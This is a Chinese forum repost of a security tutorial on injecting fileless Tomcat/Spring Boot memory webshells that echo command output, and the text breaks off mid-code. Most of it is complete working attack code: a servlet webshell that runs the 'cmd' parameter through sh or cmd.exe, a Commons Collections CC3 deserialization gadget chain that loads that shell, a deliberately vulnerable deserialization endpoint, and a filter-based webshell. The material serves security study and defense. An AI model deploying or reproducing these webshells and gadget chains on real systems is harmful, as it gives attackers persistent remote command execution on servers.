Tomcat内存马回显

打印 上一主题 下一主题

主题 861|帖子 861|积分 2583

回顾JSP马

详情见:https://www.cnblogs.com/F12-blog/p/18111253
之前说的都是利用 jsp 注入内存马,但 Web 服务器中的 jsp 编译器还是会编译生成对应的 java 文件然后进行编译加载并进行实例化,所以还是会落地。
但如果直接注入,比如利用反序列化漏洞进行注入,由于 request 和 response 是 jsp 的内置对象,在回显题目上不用考虑,但如果不用 jsp 文件,就需要考虑如何回显的题目。
其实主要要解决的题目就是如何获取 request 和 response 对象。
现在主流的回显技术(部分)主要有:

  • linux 下通过文件形貌符,获取 Stream 对象,对当前网络连接进行读写操纵。
    限制:必须是 linux,而且在取文件形貌符的过程中有可能会受到其他连接信息的干扰
  • 通过ThreadLocal Response回显,基于调用栈获取中获取 response 对象(ApplicationFilterChain中)
    限制:如果漏洞在 ApplicationFilterChain 获取回显 response 代码之前,那么就无法获取到Tomcat Response进行回显。
  • 通过全局存储 Response回显,寻找在Tomcat处理 Filter 和 Servlet 之前有没有存储 response 变量的对象
    限制:会导致http包超长,但相对比较通用。
ThreadLocal Response 回显

什么是ThreadLocal

ThreadLocal的作用就是:线程安全。 ThreadLocal的本质就是一个内部的静态的map,key是当火线程的句柄,value是需要保持的值。 由于是内部静态map,不提供遍历和查询的接口,每个线程只能获取本身线程的value。 如许,就线程安全了,又提供了数据共享的本领。
举个例子
  1. package org.example;
  2. import java.util.concurrent.TimeUnit;
  3. public class NumUtil {
  4.     public static int addNum = 0;
  5.     public static int add10(int num) throws InterruptedException {
  6.         addNum = num;
  7.         try {
  8.             TimeUnit.SECONDS.sleep(1);
  9.         } catch (InterruptedException e){
  10.             e.printStackTrace();
  11.         }
  12.         return addNum + 10;
  13.     }
  14. }
复制代码
  1. package org.example;
  2. import java.util.concurrent.ExecutorService;
  3. import java.util.concurrent.Executors;
  4. public class threadDemo {
  5.     public static void main(String[] args) {
  6.         ExecutorService executorService = Executors.newFixedThreadPool(20);
  7.         for(int i=0;i<20;i++){
  8.             int num = i;
  9.             executorService.execute(()->{
  10.                 try {
  11.                     System.out.println(num+":"+NumUtil.add10(num));
  12.                 } catch (InterruptedException e) {
  13.                     throw new RuntimeException(e);
  14.                 }
  15.             });
  16.         }
  17.         executorService.shutdown();
  18.     }
  19. }
  20. // 输出
  21. 6:29
  22. 11:29
  23. 13:29
  24. 14:29
  25. 0:29
  26. 3:29
  27. 12:29
  28. 15:29
  29. 17:29
  30. 18:29
  31. 7:29
  32. 16:29
  33. 2:29
  34. 1:29
  35. 9:29
  36. 10:29
  37. 19:29
  38. 8:29
  39. 4:29
  40. 5:29
复制代码
一个利用线程来进行对addNum加数的操纵,这结果是不是看着怪怪的,全是29。
这里其实可以联合条件竞争来理解,在多线程的情况下,比如线程1中for循环到数字9,由于不同线程之间变量没有隔离,这时候线程2实行到了addn10方法中,就接替了线程1的工作,进行+10,但是线程2中for循环只到了2。因此会输出2:29如许的数字,其他结果也是同样的道理
解决方法有很多,此中一种就是运用ThreadLocal创建独立的线程变量域:
将之前的工具类改为:
  1. public class NumUtil {
  2.     private static ThreadLocal<Integer> addNumThreadLocal = new ThreadLocal<>();
  3.     public static int add10(int num) {
  4.         addNumThreadLocal.set(num);
  5.         try {
  6.             TimeUnit.SECONDS.sleep(1);
  7.         } catch (InterruptedException e) {
  8.             e.printStackTrace();
  9.         }
  10.         return addNumThreadLocal.get() + 10;
  11.     }
  12. }
复制代码
  1. package org.example;
  2. import java.util.concurrent.ExecutorService;
  3. import java.util.concurrent.Executors;
  4. public class threadDemo {
  5.     public static void main(String[] args) {
  6.         ExecutorService executorService = Executors.newFixedThreadPool(20);
  7.         for(int i=0;i<20;i++){
  8.             int num = i;
  9.             executorService.execute(()->{
  10.                 System.out.println(num+":"+NumUtil.add10(num));
  11.             });
  12.         }
  13.         executorService.shutdown();
  14.     }
  15. }
  16. // 输出
  17. 4:14
  18. 16:26
  19. 10:20
  20. 18:28
  21. 17:27
  22. 11:21
  23. 9:19
  24. 2:12
  25. 3:13
  26. 8:18
  27. 15:25
  28. 6:16
  29. 7:17
  30. 0:10
  31. 1:11
  32. 13:23
  33. 12:22
  34. 14:24
  35. 19:29
  36. 5:15
复制代码
这回就正常了,在这之中我们创建了ThreadLocal,之前也说了本质就是一个用于存放当前进程变量的map,ThreadLocalMap是其内部类,调用了它的set和get方法用于储存和取出变量

ApplicationFilterChain#internalDoFilter

启一个springboot服务(3.0.2),简朴的写个servlet,然后打个断点访问就能看到调用栈了

可以看到重复调用了internalDoFilter,我们通过观察ApplicationFilterChain这个类可以发现,他内置了两个变量lastServicedRequest和lastServicedResponse,分别都是ThreadLocal类型:

在internalDoFilter方法中对这两个属性进行了赋值,不外得满意上方的if条件,这里的request和response就是我们目标对象,这里dispatcherWrapsSameObject默认就是false,我们可以通过反射修改,第一次访问URL,对dispatcherWrapsSameObject进行修改,第二次访问URL就能获取request和response

Springboot版本题目

springboot2和springboot3,它们的if条件不同
springboot2:

springboot3:

反射修改static final属性

在SpringBoot2中ApplicationDispatcher.WRAP_SAME_OBJECT的类型是一个private static final类型的属性,这种属性由于一些缘故原由无法被反射直接修改,我们可以通过反射去除final修饰符的方式达到修改的目的

modifiers实际就是一个int类型的26,而且每个修饰符都有一个int的值,比如private是2,static是8,final是16那么我们只需要把目标属性的modifiers属性减去16,就相称于去除了final属性,图中取反然后按位与操纵就是实现减16
JDK版本题目

在JDK12+之后,我们就不能通过上述方法移除final修饰符了,会报错NoSuchFiled:modifiers
所以这里并不研究jdk12以后的回显题目,所以在这里将SpringBoot降到了2.6版本,JDK降到了11
初步构造回显
  1. package com.example.springboot2.controller;
  2. import org.apache.catalina.core.ApplicationFilterChain;
  3. import org.springframework.stereotype.Controller;
  4. import org.springframework.web.bind.annotation.RequestMapping;
  5. import org.springframework.web.bind.annotation.ResponseBody;
  6. import javax.servlet.ServletContext;
  7. import javax.servlet.ServletRequest;
  8. import javax.servlet.ServletResponse;
  9. import java.lang.reflect.Field;
  10. import java.lang.reflect.Modifier;
  11. @Controller
  12. public class echoshell {
  13.     @RequestMapping("/normal")
  14.     @ResponseBody
  15.     public String hello() throws IllegalAccessException, NoSuchFieldException, ClassNotFoundException {
  16.         //反射获取3个属性
  17.         Field lastServicedRequestField = ApplicationFilterChain.class.getDeclaredField("lastServicedRequest");
  18.         Field lastServicedResponseField = ApplicationFilterChain.class.getDeclaredField("lastServicedResponse");
  19.         Field WRAP_SAME_OBJECT_FIELD = Class.forName("org.apache.catalina.core.ApplicationDispatcher").getDeclaredField("WRAP_SAME_OBJECT");
  20.         //去除final修饰符
  21.         Field modifiersField = Field.class.getDeclaredField("modifiers");
  22.         //设置private可访问可修改
  23.         modifiersField.setAccessible(true);
  24.         WRAP_SAME_OBJECT_FIELD.setAccessible(true);
  25.         lastServicedRequestField.setAccessible(true);
  26.         lastServicedResponseField.setAccessible(true);
  27.         modifiersField.setInt(WRAP_SAME_OBJECT_FIELD, WRAP_SAME_OBJECT_FIELD.getModifiers() & ~Modifier.FINAL);
  28.         modifiersField.setInt(lastServicedRequestField, lastServicedRequestField.getModifiers() & ~Modifier.FINAL);
  29.         modifiersField.setInt(lastServicedResponseField, lastServicedResponseField.getModifiers() & ~Modifier.FINAL);
  30.         //反射修改lastServiceresponse和lastservicerequest属性的值
  31.         ThreadLocal<ServletResponse> lastServicedResponse = (ThreadLocal<ServletResponse>) lastServicedResponseField.get(null);
  32.         ThreadLocal<ServletRequest> lastServicedRequest = (ThreadLocal<ServletRequest>) lastServicedRequestField.get(null);
  33.         //修改WRAP_SAME_OBJECT_FIELD值为true,进入request判断
  34.         boolean wrap_same_object_fieldBoolean = WRAP_SAME_OBJECT_FIELD.getBoolean(null);
  35.         //第一次进入时为false和null
  36.         if (!wrap_same_object_fieldBoolean || lastServicedResponse == null || lastServicedRequest == null) {
  37.             System.out.println("in");
  38.             lastServicedRequestField.set(null, new ThreadLocal<>());
  39.             lastServicedResponseField.set(null, new ThreadLocal<>());
  40.             WRAP_SAME_OBJECT_FIELD.setBoolean(null, true);
  41.         }
  42.         //第二次进入时就进入了if赋值为了request和response,因此进入else
  43.         else {
  44.             String name = "xxx";
  45.             //从req中获取ServletContext对象
  46.             // 第二次请求后进入 else 代码块,获取 Request 和 Response 对象,写入回显
  47.             ServletRequest servletRequest = lastServicedRequest.get();
  48.             ServletContext servletContext = servletRequest.getServletContext();
  49.             System.out.println(servletContext);
  50.             System.out.println(servletRequest);
  51.         }
  52.         return "nothing";
  53.     }
  54. }
复制代码
访问两次成功获取ServletContext和request

反序列化注入Servlet内存马

准备一个CC3的情况的springboot2,写一个反序列化入口
  1. package com.example.springboot2.controller;
  2. import org.springframework.stereotype.Controller;
  3. import org.springframework.web.bind.annotation.RequestMapping;
  4. import org.springframework.web.bind.annotation.ResponseBody;
  5. import javax.servlet.http.HttpServletRequest;
  6. import java.io.ByteArrayInputStream;
  7. import java.io.IOException;
  8. import java.io.ObjectInputStream;
  9. import java.util.Base64;
  10. @Controller
  11. public class echoshell {
  12.     @RequestMapping("/normal")
  13.     @ResponseBody
  14.     public void hello(HttpServletRequest request) throws IOException {
  15.         System.out.println("in");
  16.         byte[] data = Base64.getDecoder().decode(request.getParameter("data"));
  17.         ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(data);
  18.         ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
  19.         try{
  20.             System.out.println(objectInputStream.readObject());
  21.         } catch (ClassNotFoundException e){
  22.             e.printStackTrace();
  23.         }
  24.     }
  25. }
复制代码
准备内存马:
  1. package com.example.springboot2.controller;
  2. import com.sun.org.apache.xalan.internal.xsltc.DOM;
  3. import com.sun.org.apache.xalan.internal.xsltc.TransletException;
  4. import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
  5. import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
  6. import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
  7. import org.apache.catalina.Wrapper;
  8. import org.apache.catalina.core.StandardContext;
  9. import javax.servlet.*;
  10. import java.io.IOException;
  11. import java.io.InputStream;
  12. import java.io.PrintWriter;
  13. import java.lang.reflect.Field;
  14. import java.lang.reflect.Modifier;
  15. import java.util.Scanner;
  16. public class shellcode extends AbstractTranslet implements Servlet{
  17.     static {
  18.         try {
  19.             Class<?> clazz = Class.forName("org.apache.catalina.core.ApplicationFilterChain");
  20.             Field WRAP_SAME_OBJECT = Class.forName("org.apache.catalina.core.ApplicationDispatcher").getDeclaredField("WRAP_SAME_OBJECT");
  21.             Field lastServicedRequest = clazz.getDeclaredField("lastServicedRequest");
  22.             Field lastServicedResponse = clazz.getDeclaredField("lastServicedResponse");
  23.             Field modifiers = Field.class.getDeclaredField("modifiers");
  24.             modifiers.setAccessible(true);
  25.             // 去掉final修饰符,设置访问权限
  26.             modifiers.setInt(WRAP_SAME_OBJECT, WRAP_SAME_OBJECT.getModifiers() & ~Modifier.FINAL);
  27.             modifiers.setInt(lastServicedRequest, lastServicedRequest.getModifiers() & ~Modifier.FINAL);
  28.             modifiers.setInt(lastServicedResponse, lastServicedResponse.getModifiers() & ~Modifier.FINAL);
  29.             WRAP_SAME_OBJECT.setAccessible(true);
  30.             lastServicedRequest.setAccessible(true);
  31.             lastServicedResponse.setAccessible(true);
  32.             // 修改 WRAP_SAME_OBJECT 并且初始化 lastServicedRequest 和 lastServicedResponse
  33.             if (!WRAP_SAME_OBJECT.getBoolean(null)) {
  34.                 WRAP_SAME_OBJECT.setBoolean(null, true);
  35.                 lastServicedRequest.set(null, new ThreadLocal<ServletRequest>());
  36.                 lastServicedResponse.set(null, new ThreadLocal<ServletResponse>());
  37.             } else {
  38.                 String name = "xxx";
  39.                 //从req中获取ServletContext对象
  40.                 // 第二次请求后进入 else 代码块,获取 Request 和 Response 对象,写入回显
  41.                 ThreadLocal<ServletRequest> threadLocalReq = (ThreadLocal<ServletRequest>) lastServicedRequest.get(null);
  42.                 ThreadLocal<ServletResponse> threadLocalResp = (ThreadLocal<ServletResponse>) lastServicedResponse.get(null);
  43.                 ServletRequest servletRequest = threadLocalReq.get();
  44.                 ServletResponse servletResponse = threadLocalResp.get();
  45.                 ServletContext servletContext = servletRequest.getServletContext();
  46.                 if (servletContext.getServletRegistration(name) == null) {
  47.                     StandardContext o = null;
  48.                     // 从 request 的 ServletContext 对象中循环判断获取 Tomcat StandardContext 对象
  49.                     while (o == null) {
  50.                         Field f = servletContext.getClass().getDeclaredField("context");
  51.                         f.setAccessible(true);
  52.                         Object object = f.get(servletContext);
  53.                         if (object instanceof ServletContext) {
  54.                             servletContext = (ServletContext) object;
  55.                         } else if (object instanceof StandardContext) {
  56.                             o = (StandardContext) object;
  57.                         }
  58.                     }
  59.                     //自定义servlet
  60.                     Servlet servlet = new shellcode();
  61.                     //用Wrapper封装servlet
  62.                     Wrapper newWrapper = o.createWrapper();
  63.                     newWrapper.setName(name);
  64.                     newWrapper.setLoadOnStartup(1);
  65.                     newWrapper.setServlet(servlet);
  66.                     //向children中添加Wrapper
  67.                     o.addChild(newWrapper);
  68.                     //添加servlet的映射
  69.                     o.addServletMappingDecoded("/shell", name);
  70.                 }
  71.             }
  72.         } catch (Exception e) {
  73.             e.printStackTrace();
  74.         }
  75.     }
  76.     @Override
  77.     public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
  78.     }
  79.     @Override
  80.     public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
  81.     }
  82.     @Override
  83.     public void init(ServletConfig servletConfig) throws ServletException {
  84.     }
  85.     @Override
  86.     public ServletConfig getServletConfig() {
  87.         return null;
  88.     }
  89.     @Override
  90.     public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException {
  91.         String cmd = servletRequest.getParameter("cmd");
  92.         boolean isLinux = true;
  93.         String osTyp = System.getProperty("os.name");
  94.         if (osTyp != null && osTyp.toLowerCase().contains("win")) {
  95.             isLinux = false;
  96.         }
  97.         String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
  98.         InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
  99.         Scanner s = new Scanner(in).useDelimiter("\\a");
  100.         String output = s.hasNext() ? s.next() : "";
  101.         PrintWriter out = servletResponse.getWriter();
  102.         out.println(output);
  103.         out.flush();
  104.         out.close();
  105.     }
  106.     @Override
  107.     public String getServletInfo() {
  108.         return null;
  109.     }
  110.     @Override
  111.     public void destroy() {
  112.     }
  113. }
复制代码
cc3:
  1. package com.f12;
  2. import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
  3. import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
  4. import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
  5. import org.apache.commons.collections.Transformer;
  6. import org.apache.commons.collections.functors.ChainedTransformer;
  7. import org.apache.commons.collections.functors.ConstantTransformer;
  8. import org.apache.commons.collections.functors.InstantiateTransformer;
  9. import org.apache.commons.collections.functors.InvokerTransformer;
  10. import org.apache.commons.collections.keyvalue.TiedMapEntry;
  11. import org.apache.commons.collections.map.LazyMap;
  12. import javax.xml.transform.Templates;
  13. import java.io.*;
  14. import java.lang.annotation.Target;
  15. import java.lang.reflect.*;
  16. import java.nio.file.Files;
  17. import java.nio.file.Paths;
  18. import java.util.Base64;
  19. import java.util.HashMap;
  20. import java.util.Map;
  21. public class CC3 {
  22.     public static void serialize(Object obj) throws IOException {
  23.         FileOutputStream fos = new FileOutputStream("cc3.bin");
  24.         ObjectOutputStream oos = new ObjectOutputStream(fos);
  25.         oos.writeObject(obj);
  26.     }
  27.     public static void deserialize(String filename) throws IOException, ClassNotFoundException {
  28.         FileInputStream fis = new FileInputStream(filename);
  29.         ObjectInputStream ois = new ObjectInputStream(fis);
  30.         ois.readObject();
  31.     }
  32.     public static String encryptToBase64(String filePath) {
  33.         if (filePath == null) {
  34.             return null;
  35.         }
  36.         try {
  37.             byte[] b = Files.readAllBytes(Paths.get(filePath));
  38.             return Base64.getEncoder().encodeToString(b);
  39.         } catch (IOException e) {
  40.             e.printStackTrace();
  41.         }
  42.         return null;
  43.     }
  44.     public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException {
  45.         TemplatesImpl templates = new TemplatesImpl();
  46.         Field _name = TemplatesImpl.class.getDeclaredField("_name");
  47.         _name.setAccessible(true);
  48.         _name.set(templates, "1");
  49.         Field _bytecodes = TemplatesImpl.class.getDeclaredField("_bytecodes");
  50.         _bytecodes.setAccessible(true);
  51.         byte[] bytes = Files.readAllBytes(Paths.get("D:\\Java安全学习\\springboot2\\target\\classes\\com\\example\\springboot2\\controller\\shellcode.class"));
  52.         byte[][] code = {bytes};
  53.         _bytecodes.set(templates, code);
  54.         Field _tfactory = TemplatesImpl.class.getDeclaredField("_tfactory");
  55.         _tfactory.setAccessible(true);
  56.         _tfactory.set(templates, new TransformerFactoryImpl());
  57. //        Transformer transformer = templates.newTransformer();
  58.         Transformer[] transformers = new Transformer[]{
  59.                 new ConstantTransformer(TrAXFilter.class),
  60.                 new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
  61.         };
  62.         ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
  63.         HashMap<Object, Object> map = new HashMap<>();
  64.         Map<Object, Object> decorate = LazyMap.decorate(map,  chainedTransformer);
  65.         Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
  66.         Constructor constructor = c.getDeclaredConstructor(Class.class, Map.class);
  67.         constructor.setAccessible(true);
  68.         InvocationHandler handler = (InvocationHandler) constructor.newInstance(Target.class, decorate);
  69.         Map newMap = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, handler);
  70.         Object o = constructor.newInstance(Target.class, newMap);
  71.         serialize(o);
  72.         System.out.println(encryptToBase64("cc3.bin"));
  73. //        deserialize("cc3.bin");
  74. //        Map<Object, Object> map = new HashMap<>();
  75. //        Map<Object, Object> lazymap = LazyMap.decorate(map, new ConstantTransformer(1));
  76. //        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap, null);
  77. //        HashMap<Object, Object> hashMap = new HashMap<>();
  78. //        hashMap.put(tiedMapEntry, null);
  79. //        map.remove(null);
  80. //        Field factory = LazyMap.class.getDeclaredField("factory");
  81. //        factory.setAccessible(true);
  82. //        factory.set(lazymap, chainedTransformer);
  83. //        serialize(hashMap);
  84. //        deserialize("cc3.bin");
  85.     }
  86. }
复制代码
访问两次,固然会报错,但是能成功注入内存马

局限性

上述是一种半通用的方法,有肯定的局限性,该方法入口类是在ApplicationFilterChain#internalDofilter方法,如果序列化触发点在这之前的话就无法注入(比如shiro),而且还有JDK和SpringBoot的版本限制
基于Tomcat全局存储进行回显

通杀某些版本
流程分析

还是起个springboot,简朴写个servlet,打个断点看调用栈,定位Http11Processor,调用了getAdapter().service(request, response);,此中的request和response都来自父类AbstractProcessor

往上找,在AbstractProtocol#ConnectionHandler中调用了register方法注册了processor,这里的processor就是上面的Http11processor:

继续跟进,在register方法中,有个RequestInfo类型的对象rp,里面封装着一个request对象,rp.setGlobalProcessor(global);将rp存入global属性中

这个request对象是和之前Http11processor中的request对象相同的,既然把同一个request对象放到了global中,所以我们尝试寻找存储了AbstractProtocol实例的地方,由于global对象是在内部类ConnectionHandler中,如果可以获取到AbstractProtocol对象,那么就能通过反射getHandler方法来获取到内部类ConnectionHandler的实例,进而获取global:既然同一个request对象都被封装进了AbstractProtocol的global属性当中,那现在需要做的就是如何找到储存了AbstractProtocol类的地方,只要找到了我们就可以通过反射获取,找到AbstractEndpoint此中的Handler接口:

思路图如下:

所以现在就是需要获取AbstractProtocol,我们继续观察调用栈,可以发现在CoyoteAdapter类中的connector属性中存放了protocolHandler对象:

protocolHandler和AbstractProtocol的继承关系图如下:

而且通过观察可以发现存在connector属性中的protocolHandler属性真实类型为Http11NioProtocol对象,而这刚好就是AbstractProtocol的子类,我们可以通过向上转型从而获取AbstractProtocol,然后去获取global属性,进而获取requestinfo最后获取request对象,这个Connector类是在org.apache.catalina包下的,Tomcat会最先加载这个包,所以我们到Tomcat启动过程中寻找一下Connector类的踪迹。如果认识Spring boot启动Tomcat服务器流程的话,可以知道在TomcatServletWebServerFactory#getWebServer方法中实行了addConnector方法,实行完之后就会把connector对象封装到StandardService对象中:

后面的思路就是通过WebappClassLoaderBase这个线程上下文类加载器与StrandardService来产生联系,这个类加载器我们可以直接通过Thread.currentThread().getContextClassLoader()来直接获取到实例,所以整个寻找链也就完成了:
  1. WebappClassLoaderBase -->
  2.         resources(StandardRoot) -->
  3.                 context(StandardContext) -->
  4.                         context(ApplicationContext) -->
  5.                                 service(StandardService) -->
  6.                                         connectors(Connector[]) -->
  7.                                                 protocolHandler(ProtocolHandler) -->
  8.                                                         (转型)protocolHandler(AbstractProtocol) -->
  9.                                                                 (内部类)hanlder(AbstractProtocol$ConnectorHandler) -->
  10.                                                                         global(RequestGroupInfo) -->
  11.                                                                                 processors(ArrayList) -->
  12.                                                                                         requestInfo(RequestInfo) -->
  13.                                                                                                 req(org.apache.coyote.Request) --getNote-->
  14.                                                                                                         request(org.apache.connector.Request) -->
  15.                                                                                                                 response(org.apache.connector.Response)
复制代码
有一点需要注意的是,我们最后拿到的Request对象是org.apache.coyote.Request,而真正需要其实是org.apache.catalina.connector.Request对象,前者是是应用层对于请求-响应对象的底层实现,并不方便使用,通过调用其getNote方法可以得到后者
内存马回显构造
  1. package com.example.springboot2.filter;
  2. import org.apache.catalina.Context;
  3. import org.apache.catalina.connector.Connector;
  4. import org.apache.catalina.core.ApplicationContext;
  5. import org.apache.catalina.core.StandardService;
  6. import org.apache.catalina.loader.WebappClassLoaderBase;
  7. import org.apache.coyote.AbstractProtocol;
  8. import org.apache.coyote.Request;
  9. import org.apache.coyote.RequestGroupInfo;
  10. import org.apache.coyote.RequestInfo;
  11. import org.apache.tomcat.util.net.AbstractEndpoint;
  12. import javax.servlet.*;
  13. import javax.servlet.annotation.WebFilter;
  14. import java.io.IOException;
  15. import java.io.InputStream;
  16. import java.io.PrintWriter;
  17. import java.lang.reflect.Field;
  18. import java.lang.reflect.Method;
  19. import java.util.ArrayList;
  20. import java.util.Scanner;
  21. @WebFilter(filterName = "testFilter", urlPatterns = "/*")
  22. public class Filter3 implements Filter {
  23.     @Override
  24.     public void doFilter(ServletRequest request1, ServletResponse response1, FilterChain chain) throws IOException, ServletException {
  25.         String cmd = null;
  26.         try {
  27.             WebappClassLoaderBase loader = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
  28.             Context context = loader.getResources().getContext();
  29.             // 获取 ApplicationContext
  30.             Field applicationContextField = Class.forName("org.apache.catalina.core.StandardContext").getDeclaredField("context");
  31.             applicationContextField.setAccessible(true);
  32.             ApplicationContext applicationContext = (ApplicationContext) applicationContextField.get(context);
  33.             // 获取 StandardService
  34.             Field serviceField = Class.forName("org.apache.catalina.core.ApplicationContext").getDeclaredField("service");
  35.             serviceField.setAccessible(true);
  36.             StandardService standardService = (StandardService) serviceField.get(applicationContext);
  37.             // 获取 Connector 并筛选 HTTP Connector
  38.             Connector[] connectors = standardService.findConnectors();
  39.             for (Connector connector : connectors) {
  40.                 if (connector.getScheme().contains("http")) {
  41.                     // 获取 AbstractProtocol 对象
  42.                     AbstractProtocol abstractProtocol = (AbstractProtocol) connector.getProtocolHandler();
  43.                     // 获取 AbstractProtocol$ConnectionHandler
  44.                     Method getHandler = Class.forName("org.apache.coyote.AbstractProtocol").getDeclaredMethod("getHandler");
  45.                     getHandler.setAccessible(true);
  46.                     AbstractEndpoint.Handler ConnectionHandler = (AbstractEndpoint.Handler) getHandler.invoke(abstractProtocol);
  47.                     // global(RequestGroupInfo)
  48.                     Field globalField = Class.forName("org.apache.coyote.AbstractProtocol$ConnectionHandler").getDeclaredField("global");
  49.                     globalField.setAccessible(true);
  50.                     RequestGroupInfo global = (RequestGroupInfo) globalField.get(ConnectionHandler);
  51.                     // processors (ArrayList)
  52.                     Field processorsField = Class.forName("org.apache.coyote.RequestGroupInfo").getDeclaredField("processors");
  53.                     processorsField.setAccessible(true);
  54.                     ArrayList processors = (ArrayList) processorsField.get(global);
  55.                     for (Object processor : processors) {
  56.                         RequestInfo requestInfo = (RequestInfo) processor;
  57.                         // 依据 QueryString 获取对应的 RequestInfo
  58.                         if (requestInfo.getCurrentQueryString().contains("cmd")) {
  59.                             Field reqField = Class.forName("org.apache.coyote.RequestInfo").getDeclaredField("req");
  60.                             reqField.setAccessible(true);
  61.                             // org.apache.coyote.Request
  62.                             Request requestTemp = (Request) reqField.get(requestInfo);
  63.                             // org.apache.catalina.connector.Request
  64.                             org.apache.catalina.connector.Request request = (org.apache.catalina.connector.Request) requestTemp.getNote(1);
  65.                             // 执行命令
  66.                             cmd = request.getParameter("cmd");
  67.                             String[] cmds = null;
  68.                             if (cmd != null) {
  69.                                 if (System.getProperty("os.name").toLowerCase().contains("win")) {
  70.                                     cmds = new String[]{"cmd", "/c", cmd};
  71.                                 } else {
  72.                                     cmds = new String[]{"/bin/bash", "-c", cmd};
  73.                                 }
  74.                                 InputStream inputStream = Runtime.getRuntime().exec(cmds).getInputStream();
  75.                                 Scanner s = new Scanner(inputStream).useDelimiter("//A");
  76.                                 String output = s.hasNext() ? s.next() : "";
  77.                                 PrintWriter writer = request.getResponse().getWriter();
  78.                                 writer.write(output);
  79.                                 writer.flush();
  80.                                 writer.close();
  81.                                 break;
  82.                             }
  83.                         }
  84.                     }
  85.                 }
  86.             }
  87.         } catch (Exception e) {
  88.             e.printStackTrace();
  89.         }
  90.         chain.doFilter(request1, response1);
  91.     }
  92. }
复制代码
主类记得加上扫描注解
  1. package com.example.springboot2;
  2. import org.springframework.boot.SpringApplication;
  3. import org.springframework.boot.autoconfigure.SpringBootApplication;
  4. import org.springframework.boot.web.servlet.ServletComponentScan;
  5. @SpringBootApplication
  6. @ServletComponentScan
  7. public class Springboot2Application {
  8.     public static void main(String[] args) {
  9.         SpringApplication.run(Springboot2Application.class, args);
  10.     }
  11. }
复制代码

局限性

该方法在tomcat10以下应该是可以通杀的,因为之前用的高版本springBoot,springboot在2.6以后移除了getresources方法,所以寄
通过遍历进程来获取Context
  1. package com.example.springboot2.controller;
  2. import com.sun.org.apache.xalan.internal.xsltc.DOM;
  3. import com.sun.org.apache.xalan.internal.xsltc.TransletException;
  4. import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
  5. import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
  6. import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
  7. import org.apache.catalina.Wrapper;
  8. import org.apache.catalina.core.StandardContext;
  9. import org.apache.catalina.core.StandardEngine;
  10. import org.apache.catalina.core.StandardHost;
  11. import javax.servlet.*;
  12. import java.io.IOException;
  13. import java.io.InputStream;
  14. import java.io.PrintWriter;
  15. import java.lang.reflect.Field;
  16. import java.util.HashMap;
  17. import java.util.Iterator;
  18. import java.util.Scanner;
  19. public class Tomcat6789 extends AbstractTranslet implements Servlet {
  20.     public static Object getField(Object object, String fieldName) {
  21.         Field declaredField;
  22.         Class clazz = object.getClass();
  23.         while (clazz != Object.class) {
  24.             try {
  25.                 declaredField = clazz.getDeclaredField(fieldName);
  26.                 declaredField.setAccessible(true);
  27.                 return declaredField.get(object);
  28.             } catch (NoSuchFieldException e){}
  29.             catch (IllegalAccessException e){}
  30.             clazz = clazz.getSuperclass();
  31.         }
  32.         return null;
  33.     }
  34.     public Tomcat6789() {
  35.     }
  36.     @Override
  37.     public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
  38.     }
  39.     @Override
  40.     public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
  41.     }
  42.     static {
  43.         String uri = "";
  44.         String serverName = "";
  45.         Thread[] threads = (Thread[]) getField(Thread.currentThread().getThreadGroup(), "threads");
  46.         Object object;
  47.         for (Thread thread : threads) {
  48.             if (thread == null) {
  49.                 continue;
  50.             }
  51.             if (thread.getName().contains("exec")) {
  52.                 continue;
  53.             }
  54.             Object target = getField(thread, "target");
  55.             if (!(target instanceof Runnable)) {
  56.                 continue;
  57.             }
  58.             try {
  59.                 object = getField(getField(getField(target, "this$0"), "handler"), "global");
  60.             } catch (Exception e) {
  61.                 continue;
  62.             }
  63.             if (object == null) {
  64.                 continue;
  65.             }
  66.             java.util.ArrayList processors = (java.util.ArrayList) getField(object, "processors");
  67.             Iterator iterator = processors.iterator();
  68.             while (iterator.hasNext()) {
  69.                 Object next = iterator.next();
  70.                 Object req = getField(next, "req");
  71.                 Object serverPort = getField(req, "serverPort");
  72.                 if (serverPort.equals(-1)){continue;}
  73.                 org.apache.tomcat.util.buf.MessageBytes serverNameMB = (org.apache.tomcat.util.buf.MessageBytes) getField(req, "serverNameMB");
  74.                 serverName = (String) getField(serverNameMB, "strValue");
  75.                 if (serverName == null){
  76.                     serverName = serverNameMB.toString();
  77.                 }
  78.                 if (serverName == null){
  79.                     serverName = serverNameMB.getString();
  80.                 }
  81.                 org.apache.tomcat.util.buf.MessageBytes uriMB = (org.apache.tomcat.util.buf.MessageBytes) getField(req, "uriMB");
  82.                 uri = (String) getField(uriMB, "strValue");
  83.                 if (uri == null){
  84.                     uri = uriMB.toString();
  85.                 }
  86.                 if (uri == null){
  87.                     uri = uriMB.getString();
  88.                 }
  89.             }
  90.         }
  91.         Thread[] threads2 = (Thread[]) getField(Thread.currentThread().getThreadGroup(), "threads");
  92.         for (Thread thread : threads2) {
  93.             if (thread == null) {
  94.                 continue;
  95.             }
